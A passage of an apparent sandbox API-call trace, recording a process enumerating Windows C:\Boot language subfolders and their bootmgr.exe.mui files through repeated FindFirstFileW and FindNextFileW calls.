ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.404] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.404] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.404] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.404] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.404] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0272.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.405] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.405] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.405] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.405] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.405] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x44, dwReserved1=0x44, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0272.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.406] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.406] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.406] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0272.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.407] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.407] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.407] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.407] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.407] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.407] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0272.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.407] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.407] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.408] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.408] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.408] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.408] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0272.408] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.409] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.409] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.409] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.409] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.411] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.411] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0272.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.411] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.411] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.411] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.411] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.411] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.411] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0272.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.412] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.412] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.412] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.412] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.412] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.412] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0272.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.413] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.413] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.413] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, 